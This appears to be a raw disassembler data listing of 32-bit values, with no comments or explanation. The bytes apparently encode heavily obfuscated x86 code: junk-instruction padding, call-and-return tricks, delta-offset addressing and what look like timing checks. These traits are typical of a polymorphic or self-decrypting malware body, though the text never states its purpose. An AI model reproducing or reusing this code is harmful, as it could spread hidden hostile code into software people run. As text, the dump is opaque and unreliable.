		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 81BDC351h
		dd 0B7F73E9Fh, 6AC18B91h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2570C351h, 1BCC080h
		dd 1E2C859Dh, 0DD858D06h, 6A061E19h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 98FDC353h
		dd 45E78052h, 3830F50h,	66000000h, 489FE8Bh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6A62CCF9h, 8DBB6600h, 0B3006AFFh, 0B2858D39h, 8B062251h
		dd 5C083F9h, 2890F90h, 8B000000h, 20BB50FAh, 904D3FDAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 51C35545h
		dd 29437B26h, 1E1D9585h, 0D7F78106h, 6A774BAAh,	6AFA8B00h
		dd 95FFF500h, 61E21EDh,	8DF8BF0Fh, 2194B68Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0C870B353h, 5374B201h, 9D8909FEh, 61E1B45h, 9DF7F381h
		dd 0D1FF4FF6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0F5C35747h, 0F2AC26B8h,	0B5017D19h, 61E1451h, 272DBD83h
		dd 0F01061Eh, 6585h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0A54AE936h, 398D89C4h
		dd 6A061E2Fh, 51BD2902h, 50061E31h, 489F4B3h, 0E5BD8B24h
		dd 0FF061E14h, 1E32F995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 8130D387h
		dd 0EFD9531h, 55E9061Eh, 0E800000Dh, 0
		dd 0BCED815Dh, 6A062251h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 5BAC355h, 0F37606F6h
		dd 0D1E29622h, 0DFB70F51h, 59D0B5Fh, 8D061E01h,	218DFE85h
		dd 0F98B9006h, 13E85650h, 8D000000h, 64023A46h,	27D09B5Ah
		dd 6D547945h, 0A3D09778h, 0FC8A19B5h, 89905B5Bh, 1E32F185h
		dd 35FF6406h, 0
		dd 2BA59D89h, 8964061Eh, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E4B11E02h
		dd 50AAC7BDh, 0FFF98B5Fh, 1E1D9185h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 85291315h
		dd 61E02D9h, 0B5FFFF6Ah, 61E3315h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0F4C35545h,	9AF1756Ah, 165595FFh
		dd 46E9061Eh, 0E9000001h, 8, 9CCEAB7Eh,	6E620A9Ch, 0B58900B0h
		dd 61E32D9h, 0BF6670E6h, 71E4C5C5h, 11860Fh, 0CE90000h
		dd 8C000000h, 59D75859h, 514DE381h, 3CF030DCh, 0A830F61h
		dd 0E9000001h, 14h, 0BE34C82Dh,	475B968Dh, 9E56DFFAh, 2F527473h
		dd 926EA2B2h, 60C8B60Fh, 2CE58D89h, 0F60061Eh, 8Ah, 0BA616100h
		dd 6, 2830F60h,	51000000h, 0F9858958h, 61061E21h, 0D1DBD89h
		dd 0C18B061Eh, 0E8C1DA8Ah, 0A2EB8004h, 0B3E2F766h, 89C82BA0h
		dd 1E04C18Dh, 0FD18B06h, 381h, 0FEB70F00h, 10E9h, 89506000h
		dd 1E30019Dh, 85895F06h, 61E0A1Dh, 0ED858B61h, 0E9061E2Bh
		dd 0Eh,	0BB64E988h, 6687C846h, 1CA3A928h, 0B70F2410h, 7C083DBh
		dd 139B529h, 0C083061Eh, 0DDBD2300h, 3B061E1Eh,	28830FD0h
		dd 0F000000h, 584h, 6ABEBF00h, 46E9753Ah, 0E9000000h, 13h
		dd 5CC1D0A5h, 32622616h, 0A7419C69h, 0D8E52ADh,	8B3363B5h
		dd 1E226D8Dh, 1E18306h,	1F840Fh, 0EB810000h, 530B4F0Ch
		dd 226DA583h, 0F9FE061Eh, 2BED9589h, 9D8B061Eh,	61E333Dh
		dd 0E9h, 84B58D00h, 0B70621E2h,	6A006A81h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 27E0C350h
		dd 38E79715h, 0BDE33156h, 0FFDEB70Fh, 1E26C195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9589FFDFh, 61E1B0Dh,	902B9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 8DBD31E5h
		dd 83061E1Eh, 8B60FCE1h, 1E2079BDh, 0F0816606h,	0FC6128C8h
		dd 0C02B3AB7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	46C35141h, 5EBC9CEEh, 17BF66A2h, 0BABFh, 33AD0000h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 6653AFC3h, 35BDF8Bh
		dd 1E00A99Dh, 0A59D8B06h, 0D061E0Eh, 88h, 1458EF81h, 958B4D0Dh
		dd 61E2375h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0E7C35343h, 0FEE2251Ah,	66091C0Ah, 8D8BD98Bh, 61E324Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D4C35646h
		dd 0DD96673Ch, 62AE2D7Dh, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 9D895818h, 61E0479h, 9E8h, 0ECF0D500h, 41628F7Fh
		dd 6A5B0A2Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 4A3C353h, 11E9h, 0A7ABDD00h, 54DF48E7h
		dd 11E256BBh, 8955782h,	8B660142h, 59BD83FEh, 61E02h, 5A840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 7B1326C3h, 0B83Eh, 8D8D0000h, 61E4CB8h, 31499589h
		dd 0E1FF061Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	8EC35747h, 0F8B072A2h, 75EF85B2h, 5BFC57E4h, 3169BD83h
		dd 0F00061Eh, 43284h, 52D4BB00h, 0BD834225h, 61E3169h
		dd 3B840F01h, 29000004h, 1E14FD9Dh, 69BD8306h, 3061E31h
		dd 3F2860Fh, 0BF0F0000h, 6A60D8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0E6A1FC3h, 3A656327h
		dd 68B0Fh, 9D890000h, 61E1E19h,	89D98C66h, 1E00598Dh, 4E18006h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 48C35646h
		dd 0C358753Bh, 0CF70F089h, 0E0BB66E2h, 68B0FFAh, 89000000h
		dd 1E19D1BDh, 0FC90A06h, 11884h, 9BD8B00h, 0BF061E19h
		dd 64288F59h, 1A11858Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 7C74E5C3h, 1F659589h
		dd 8533061Eh, 61E14BDh,	1D2D9D89h, 0BB90061Eh, 7173113Fh
		dd 0FFF7BB50h, 0E8900009h, 0Bh,	3D723117h, 0DD662223h
		dd 8B16CCCDh, 1E22D19Dh, 6A5F06h, 0E0A5EF81h, 9E680971h
		dd 0B380F679h, 24048182h, 7F288A61h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 1DC35242h, 0F49EA4BBh, 4195FF2Bh
		dd 6A061E14h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6B0FC351h, 8589D680h, 621B027h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h
		dd 7EFD023Dh, 0C5E969BDh, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 571DC351h
		dd 136F6A36h, 8B711C12h, 1E03419Dh, 1F858B06h, 8B0621B0h
		dd 6840FD8h, 31000000h,	1E0CC5B5h, 1800C706h, 0F000000h
		dd 685h, 0CDF78100h, 8B5DD730h,	21B023B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 1EE68748h, 8D89450Dh, 61E1689h, 2CE59529h, 858B061Eh
		dd 61E1CC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	7DC35646h, 0CEA393C0h, 45023584h, 23DA8B66h, 1E31C59Dh
		dd 66068906h, 0AB7CE381h, 1A11858Bh, 0DE8B061Eh, 6A044689h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0A12BC357h, 2E923C71h, 8950902Ah,	0B5FF2434h
		dd 621B01Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0F1C35545h, 79E1E874h, 8E8E8h, 133E0000h, 643B29F3h
		dd 13E947BDh, 8F000000h, 3E6A6F0Bh, 9E806394h, 0F1509EF5h
		dd 0B74DA1EFh, 895F9003h, 1E1B358Dh, 4E806h, 3FF0000h
		dd 0B350001Fh, 24448B82h, 0FBB6604h, 0E9008B3Fh, 13h, 0B1E3C9Dh
		dd 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h, 89E04731h, 0B7042444h
		dd 0DB8058A9h, 27858D24h, 8B0621B0h, 1E0E05BDh,	61605006h
		dd 8B240489h, 1E14D9BDh, 4195FF06h, 6A061E14h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 66A8C355h, 9D8BD88Bh, 61E01FDh, 0C19D8B52h, 5F061E22h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 959DC1F3h, 0AE86B06h, 77000000h,	0A6252633h
		dd 4C5968A5h, 3BBF66B0h, 0EF805B15h, 6985C751h,	3061E31h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 79C5C355h, 0AC1CBFD4h,	2AA19D8Bh
		dd 0BD83061Eh, 621B027h, 4D840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0DE2AC356h, 3EEAB696h, 0A99D0914h, 0E9061E00h, 3Bh
		dd 12E8h, 2785BA00h
		dd 0F1B61F20h, 0E19AC295h, 560F4AFBh, 60361B0Eh, 1E29958Bh
		dd 5B61061Eh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0A4DC352h, 0B58B6009h,	61E2FEDh
		dd 659D0361h, 0BF061E1Ah, 4F64E616h, 3169BD83h,	0F03061Eh
		dd 42485h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0AA913888h, 7CB41D8h, 91C38185h
		dd 836A8B45h, 21B027BDh, 840F0006h, 3EDh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0A6C35040h, 0C58D29FDh
		dd 0FF061E26h, 21B027B5h, 39BD8B06h, 0FF061E2Bh, 1E155595h
		dd 5E95006h, 82000000h,	4A74CB60h, 1BB58B5Fh, 6A0621B0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0AB11C351h, 8D89CE3Bh, 61E0EA5h, 106C7h
		dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 49008DC3h, 0F3E4F381h, 505069ABh,	66525052h
		dd 0F19C9BBh, 5A616031h, 66310F58h, 585ADF8Bh, 8B243489h
		dd 1E26999Dh, 27B5FF06h, 6A0621B0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0F4D9C356h
		dd 0F85685C3h, 2B3D95FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 20D09EC3h, 8166606Eh
		dd 893686C6h, 1E331D95h, 0B58B6106h, 621B01Bh, 2E19D01h
		dd 858B061Eh, 61E2A21h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 93C35545h, 0DAA152BEh, 941BD4A5h, 0A06EBB0Eh
		dd 86896711h, 0C4h, 6E9h, 0F888D200h, 8B9086DAh, 1E237595h
		dd 0BD8B5006h, 61E1AADh, 4C2835Bh, 0AE8h, 0B1CBCB00h, 0CB86D70Fh
		dd 0F9C3E22h, 895FD9B7h, 1E1CA9BDh, 20508906h, 7E9h, 99EA4300h
		dd 0CF012FB7h, 0C4A4858Dh, 89F90621h, 0B886h, 55BD2900h
		dd 0B061E1Ah, 1E19D5BDh, 89006A06h, 1E04E5BDh, 27B5FF06h
		dd 0B70621B0h, 0F995FF8Fh, 0F9061E32h, 89F98B50h, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 1D55B2C3h, 0B415F270h, 1D099529h, 0B5FF061Eh, 621B027h
		dd 308D9D03h, 0C380061Eh, 4995FF3Ah, 80061E30h,	0BD83EEF7h
		dd 61E0DB9h, 69840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A70AC353h
		dd 0DF267DACh, 1D9400E2h, 0C266F381h, 50507039h, 0FFC8A52h
		dd 870F5131h, 0
aZxi4J		db '[ZX┴4$j',0
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 28F91EC3h, 22718589h, 9D0B061Eh, 61E2949h, 0B027B5FFh
		dd 6A0621h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A9B049C3h, 30C6B1Bh, 8E9B597h, 9F000000h
		dd 0F9BD0E60h, 0FF667F4Dh, 1E164D95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 94E03C7Fh, 954653Dh,	8960FF11h, 1E0299B5h, 0FE906h
		dd 1E770000h, 154EE36Ch, 0D839C818h, 21D6AB66h,	0B5FF6164h
		dd 621B027h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	33C35343h, 0A83C07BCh, 1480B9E1h, 5890FC3h, 66000000h
		dd 0ABD6D781h, 9DD95FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0CC4215C3h, 83F5ED3Dh
		dd 1E2BD9BDh, 840F0206h, 6Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 1FC35646h, 0BE34C82Dh, 2D858B8Dh
		dd 6A061E0Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 3191C355h, 0CB5B5AA4h,	9D8BC721h
		dd 61E0821h, 0CE9h, 6A50D100h, 0A77C7BB9h, 8353277Eh, 0C6FDh
		dd 1858953h, 5F061E1Dh,	1F8185C7h, 61Eh, 8C0F0000h, 9
		dd 38B0Fh, 8B660000h, 0F38AE9FEh, 0BF66FFFFh, 0BD3355D5h
		dd 61E18E9h, 0B509C18Bh, 61E1A15h, 19DD858Dh, 0CE8061Eh
		dd 31000000h, 4A6A4362h, 0B4F56CF8h, 892FA464h,	1E19098Dh
		dd 0F505B06h, 128Ah, 50525000h,	5A310F52h, 0F310F58h, 87h
		dd 89585A00h, 6A2404h, 6A04B7h,	302D9D8Bh, 858D061Eh, 62260E8h
		dd 0DBFDC381h, 0C08334A9h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 600BB2CEh
		dd 5A9722FAh, 0D1B70F60h, 1A75B58Bh, 0E961061Eh, 11h, 0AC6CC180h
		dd 2A994790h, 0E009A541h, 9281069Bh, 4895061h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 89D1C8A0h, 1E0DC9BDh, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 70B5C353h
		dd 42058EDAh, 0C58D09DCh, 6A061E13h, 0EDBD2900h, 0FF061E1Eh
		dd 1E21ED95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0D62B1CCCh, 874C36A1h, 0A99D03F5h
		dd 8D061E22h, 2194B68Dh, 0D2E38106h, 8914C267h,	1E1CD19Dh
		dd 6AD1FF06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 590CC350h, 80A686D8h, 0BD83DBFBh
		dd 61E272Dh, 75850F01h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4378C356h
		dd 26A8238h, 0BF50FB8Bh, 18862266h, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 9349C353h, 9D89289Ah, 61E0D81h, 0FF88B66h, 0A8Eh, 5E900h
		dd 86880000h, 0FFE6D6D6h, 1E32F995h, 0BF0F5206h, 9D8B5FDEh
		dd 61E1AD1h, 0D44E9h, 0E800h, 815D0000h, 2260F2EDh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD015D62h, 61E170Dh, 8DDABF0Fh, 218DFE85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 541EEF28h, 6E9A8h, 8FB50000h, 0E1502E38h, 5072B390h
		dd 90D88B66h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	23C35242h, 361C89B7h, 0B882B891h, 1D09B589h, 0FF64061Eh
		dd 35h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1C04h, 0C3564600h, 99A25F84h, 0B3E6D27Fh, 0DEB70FB5h
		dd 92EB8166h, 2589645Ch, 0
		dd 81F98B66h, 0F051BEFh, 9185FF7Bh, 6A061E1Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 56F6C352h, 32DC4BF7h, 0B3D0C713h, 8C0Fh, 0FA8B0000h
		dd 0B5FFFF6Ah, 61E0DCDh, 0A119589h, 95FF061Eh, 61E1655h
		dd 0F5E9h, 0A9BD3300h, 0B0061E2Ch, 13E900h, 59B80000h
		dd 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh, 34004281h,	0E470E676h
		dd 5FF3BB71h, 613C5803h, 0C4830Fh, 0B60F0000h, 75BD8BC8h
		dd 0BA061E29h, 6, 0BD29C18Bh, 61E0465h,	6604E8C1h, 0F766DA8Bh
		dd 2B8FB7E2h, 6810FC8h,	89000000h, 1E2DBD9Dh, 0E9D18B06h
		dd 0
		dd 2DF1858Bh, 9D29061Eh, 61E0229h, 6607C083h, 834A2EBFh
		dd 0D03B00C0h, 19830Fh,	0B5290000h, 61E26F1h, 65E9h, 4830F00h
		dd 66000000h, 52D454BFh, 8B5BFB8Bh, 1E15218Dh, 6E806h
		dd 0A8510000h, 0CE45AABCh, 2E71BD0Bh, 835B061Eh, 840F01E1h
		dd 36h,	1B219D03h, 0E957061Eh, 7, 4107479Eh, 5F668698h
		dd 1521A583h, 66FE061Eh, 89F080BBh, 1E2DF195h, 7E906h
		dd 38340000h, 1779C69Dh, 0E98Ah, 0B58D0000h, 621ED76h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 25C35141h
		dd 0E5992836h, 8166006Ah, 0FF502FEFh, 1E26C195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 6898037Fh, 0FABF0FD2h, 90EB9h, 0BF0F6000h, 0CD9D31DFh
		dd 61061E00h, 8BFCE183h, 1E0F25BDh, 5E8FC06h, 3F000000h
		dd 0DF3467FAh, 2BF99501h, 2B5B061Eh, 96CB81C0h,	2B6A055Ah
		dd 0BB6650D2h, 0AD5BE2A2h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0E88BC353h, 816044DEh, 47E072CBh,	61B2B159h
		dd 880Dh, 8E800h, 4140000h, 39386059h, 8D897D68h, 61E041Dh
		dd 75958B5Fh, 6A061E23h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 4C28C353h, 8BFC9FD1h
		dd 1E324D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0F66F8F4h, 181h, 0D780F500h, 7595897Eh
		dd 50061E27h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 73206B6Fh, 52006A56h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 860F0804h
		dd 6, 2059589h,	0BD83061Eh, 61E0259h, 92840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 6CF9C356h, 0E9897104h, 0Eh, 86049BAh, 6F27BAA7h
		dd 0EAD87DD6h, 0B886C0h, 66000000h, 8D8DFA8Bh, 61E4CB8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E9C35646h
		dd 0FFB813FDh, 52006AE1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 65902C1h, 0FEEEB27h, 685h
		dd 7DB58900h, 8B061E03h, 69BD83F8h, 61E31h, 426840Fh, 0BF660000h
		dd 0BD83E9C3h, 61E3169h, 30840F01h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 1BD9C353h, 0EA44667Bh, 3169BD83h, 0F03061Eh,	3CC86h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 879B3FC7h, 0F91B2003h, 55006A60h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 3092F649h, 0D99D8B96h, 66061E2Fh, 9589D98Ch,	61E0231h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 1951C353h, 0CF816692h,	0C90A09E4h
		dd 16B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 6E35C8C3h, 611CE263h, 68A0Fh, 0BD0B0000h
		dd 61E0E65h, 14F1BD89h,	858B061Eh, 61E1A11h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A3C35242h, 0D927546Bh
		dd 0AADF5E23h, 89D98B66h, 1E2921B5h, 38F0F06h, 0F000000h
		dd 8533FFB7h, 61E14BDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 3DC35646h, 0BF6650F4h, 489B905h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B5EE514Fh, 686FB986h, 0B62CB81h, 6A757Ch, 78D38166h
		dd 99B06858h, 7E85C47h,	6E000000h, 0CB43B9E2h, 5B53C0C9h
		dd 2434815Fh, 5C589A4Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0E3C35646h, 144195FFh, 8C0F061Eh, 2
		dd 8D29DC8Ah, 61E31B9h,	0B0278589h, 6A0621h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0CCA67AC3h
		dd 69C78221h, 8589561Fh, 61E19E5h, 1AEE95Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0CA4149C3h, 1F858B5Bh, 570621B0h, 0F440BB66h, 1800C75Bh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A4D2C353h, 66607C4Dh,	61543FBEh
		dd 0B023B58Bh, 6A0621h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B474BDC3h, 0E9C8E845h, 898692A4h
		dd 1E2F4185h, 0C9858B06h, 6A061E1Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 8B28C356h
		dd 8DCC32D7h, 8BFD56CCh, 660689FBh, 858BD88Bh, 61E1A11h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0ABC35747h
		dd 89D87023h, 1E0481BDh, 4468906h, 6A965096h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 450DC353h, 49183CD7h, 0DE996h, 35ED0000h, 91656871h
		dd 0F9EB58CDh, 0FF1E36B3h, 21B01FB5h, 18850F06h, 0E9000000h
		dd 13h,	362576E0h, 0F9E59928h, 0B34E19E5h, 94C68E1Dh, 689D1B4Bh
		dd 6D3CC4C3h, 4880Fh, 8A530000h, 34815BFDh, 23C73C24h
		dd 7585316Dh, 8D061E09h, 21B02785h, 0A19D8906h,	90061E2Ah
		dd 28B0Fh, 0F88B0000h, 8B666050h, 0B9061FEh, 1E21F9BDh
		dd 4195FF06h, 6A061E14h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0C2BDC351h,	37770932h
		dd 8D8932FCh, 61E2A01h,	0C7FB8B61h, 1E316985h, 306h, 258D8900h
		dd 83061E1Ch, 21B027BDh, 840F0006h, 31h, 20559D8Bh, 41E9061Eh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 66D3C350h, 31F139BFh, 1E32DD9Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	66C35242h, 8AEB73A3h, 4C9BD89h,	0F381061Eh, 1DB4FD0Eh
		dd 83DF8B66h, 1E3169BDh, 850F0306h, 40Bh, 29DDBD0Bh, 0BD83061Eh
		dd 621B027h, 0F8840F00h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 209BC350h
		dd 795B2043h, 27B5FF92h, 6A0621B0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7243C355h
		dd 2721AB47h, 6830F9Ch,	81000000h, 3789D6F3h, 5595FF25h
		dd 89061E15h, 1E07B9BDh, 1BB58B06h, 0F0621B0h, 6C7FEB7h
		dd 10001h, 0DBB50F9h, 89579A77h, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 2B9936C3h
		dd 17820Fh, 12E90000h, 79000000h, 0BEC9319Ch, 22EF5C48h
		dd 0DCFF6CFAh, 19CDD826h, 0B5FFF8E6h, 621B027h,	4899D89h
		dd 95FF061Eh, 61E2B3Dh,	0A99589h, 0B58B061Eh, 621B01Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 60C35747h
		dd 3BE6CABAh, 988467Bh,	1E165DB5h, 0DB816606h, 858BCB2Dh
		dd 61E2A21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0DAC35141h, 59327264h, 17FA4F96h, 0C48689h, 8B660000h
		dd 75958BFBh, 0F061E23h, 8B66FFB7h, 4C283F9h, 411BD8Bh
		dd 5089061Eh, 0BABB6620h, 0A4858D68h, 6A0621C4h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 50C6C353h, 29DE8B89h, 1E29559Dh, 0B8868906h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0FFCAC352h, 0E6BDBDEAh, 6AF982D4h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0FE114632h, 10E9483Fh, 40000000h, 7ED432CFh,	3D62F336h
		dd 24C526D3h, 0FF2A2CBFh, 21B027B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0CFF130E3h
		dd 12217CDDh, 51BD8B92h, 0FF061E20h, 1E32F995h,	50006A06h
